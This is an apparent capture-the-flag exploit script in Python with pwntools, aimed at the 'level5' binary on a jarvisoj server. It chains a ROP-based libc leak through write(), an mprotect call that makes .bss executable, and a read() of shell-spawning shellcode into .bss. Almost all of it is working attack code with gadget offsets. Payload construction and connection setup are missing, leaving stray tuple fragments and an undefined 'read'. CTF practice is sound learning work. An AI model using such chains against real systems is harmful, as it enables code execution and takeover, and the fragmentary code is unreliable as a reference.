context(arch="amd64", os="linux")
elf = ELF("level5", checksec=False)
libc = ELF("libc-2.19.so")
host = "pwn2.jarvisoj.com"
#--------Phase 1: ret2write--------#
write_plt = elf.plt["write"]
vulnerable_function = elf.sym["vulnerable_function"]
write_got = elf.got["write"]
# ROPgadget --binary level5 --only "pop|ret" | grep rdi
pop_rdi = 0x00000000004006b3
# ROPgadget --binary level5 --only "pop|ret" | grep rsi
pop_rsi_pop_r15 = 0x00000000004006b1
pop_rsi_pop_r15, write_got, 1337,
write_plt, # call write(1, write_got, [rdx])
vulnerable_function, # return address for write()
r.sendlineafter("Input:\n", payload)
write_leak = u64(r.read(6).ljust(8, b"\x00"))
write_offset = libc.sym["write"]
libc.address = write_leak - write_offset
log.info(f"write_leak: {hex(write_leak)}")
log.info(f"write_offset: {hex(write_offset)}")
log.info(f"libc.address: {hex(libc.address)}")
#--------Phase 2: mprotect--------#
mprotect(void *addr, size_t len, int prot)
mprotect() changes the access protections for the calling process's memory
pages containing any part of the address range in the interval
[addr, addr+len-1]. addr must be aligned to a page boundary.
mprotect = libc.sym["mprotect"]
The address of mproject is auto-adjusted since libc.address was set.
Also, since we know the libc base address,
we can use gadgets from libc from now on.
# ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rsi
pop_rsi = libc.address + 0x0000000000024885
# ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rdx
pop_rdx = libc.address + 0x0000000000000286
log.info(f"elf.bss(): {hex(elf.bss())}")
We have elf.bss() = 0x600a88.
Note that the first argument of mprotect must be an integer multiple of page size.
We can learn the page size using the command "getconf":
Hence addr = k * 0x1000, so we pick addr = 0x600000.
pop_rdi, 0x600000, # arg1: addr
pop_rsi, 0x1000, # arg2: len
pop_rdx, 7, # arg3: prot (7 = 0b111 = rwx)
mprotect, # call mprotect(0x600000, 0x1000, 7)
vulnerable_function, # return address for mprotect()
r.sendlineafter("Input:\n", payload)
#--------Phase 3: ret2shellcode-------#
shellcode = asm(shellcraft.sh())
pop_rdi, 0, # arg1: fd (0 = stdin)
pop_rsi, elf.bss(), # arg2: buf
pop_rdx, 0x100, # arg3: nbyte
read, # call read(0, elf.bss(), 0x100)
elf.bss(), # return address for read()
r.sendlineafter("Input:\n", payload)
r.sendline(shellcode) # the stdin session initiated by the read() function